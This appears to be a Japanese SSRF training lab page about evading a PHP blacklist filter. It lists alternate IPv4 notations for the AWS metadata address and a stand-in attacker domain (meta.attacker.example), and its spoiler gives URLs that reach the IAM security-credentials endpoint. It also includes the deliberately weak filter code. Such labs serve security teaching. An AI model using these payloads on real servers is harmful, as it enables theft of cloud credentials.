utsuroi ssrf labsLab 02 / 5 — Practitioner
02

ブラックリスト方式の SSRF フィルタ回避

SSRF defense by blacklist — and how to bypass it

Lab 01 を受けて、うつろい EC は対策を入れた:「URL 文字列に localhost127.0.0.1169.254.169.25410.192.168. が含まれていたら拒否」というブラックリスト方式。

// 「危険な文字列」を URL に含まないかチェック
$blocked = ['localhost', '127.0.0.1', '169.254.169.254', '10.', '192.168.', '172.16.'];
foreach ($blocked as $b) {
    if (strpos($_POST['url'], $b) !== false) abort(400);
}
$content = file_get_contents($_POST['url']);

開発者は「これで AWS メタデータも内部 IP もブロックできた」と思っている。しかし IPv4 アドレスには同じアドレスを表す複数の表記法があり、ブラックリストは漏れる。

ブラックリストを回避して 169.254.169.254(AWS メタデータ)に到達してください。

拒否される文字列(部分一致):
localhost · 127.0.0.1 · 169.254.169.254 · 10. · 192.168. · 172.16.
クイック試行:
処理トレース
入力: (空)
↓ ブラックリスト検証
↓ DNS で IP 解決
↓ ファイル取得
(まだ取込実行していません)
IPv4 アドレスの代替表記
169.254.169.254 と等価な書き方:

  10進整数:   2852039166         ← 169*256^3 + 254*256^2 + 169*256 + 254
  16進:       0xa9fea9fe          ← (169)(254)(169)(254) in hex
  8進:        025177524776        ← 各オクテットを8進に
  混在:       0xa9.0xfe.0xa9.0xfe
  Dotted hex: 0xa9.0xfe.0xa9.0xfe

これらは全てブラウザ・サーバの URL パーサで「169.254.169.254」と解決される。
ブラックリスト「169.254.169.254」の文字列マッチは全部素通り。
DNS 経由の回避(後述 Lab 03 のテーマでもある)
攻撃者が自分のドメイン meta.attacker.example の DNS に
A レコード → 169.254.169.254 を設定。

URL: http://meta.attacker.example/...
  ↓ ブラックリストは「meta.attacker.example」に該当文字列なし → 通過
  ↓ DNS が 169.254.169.254 を返す
  ↓ サーバはそこへ HTTP リクエスト → メタデータ取得
ヒント — IPv4 整数表記

IPv4 アドレス a.b.c.d は数式 a*16777216 + b*65536 + c*256 + d で1つの32bit整数になる。169.254.169.254 = 2852039166。Linux の curl やほぼ全ての URL パーサがこの整数を IP として解決する。

正解(ネタバレ)

4通りの解(クイック試行ボタンに対応):

  • http://2852039166/latest/meta-data/iam/security-credentials/EC2-WebServer-Role
  • http://0xa9fea9fe/latest/meta-data/iam/security-credentials/EC2-WebServer-Role
  • http://025177524776/latest/meta-data/iam/security-credentials/EC2-WebServer-Role
  • http://meta.attacker.example/latest/meta-data/iam/security-credentials/EC2-WebServer-Role(DNS が 169.254.169.254 を返すよう設定)

これらは全てブラックリストの文字列マッチに引っかからず、サーバ側で URL を fetch する段階で 169.254.169.254 に解決されます。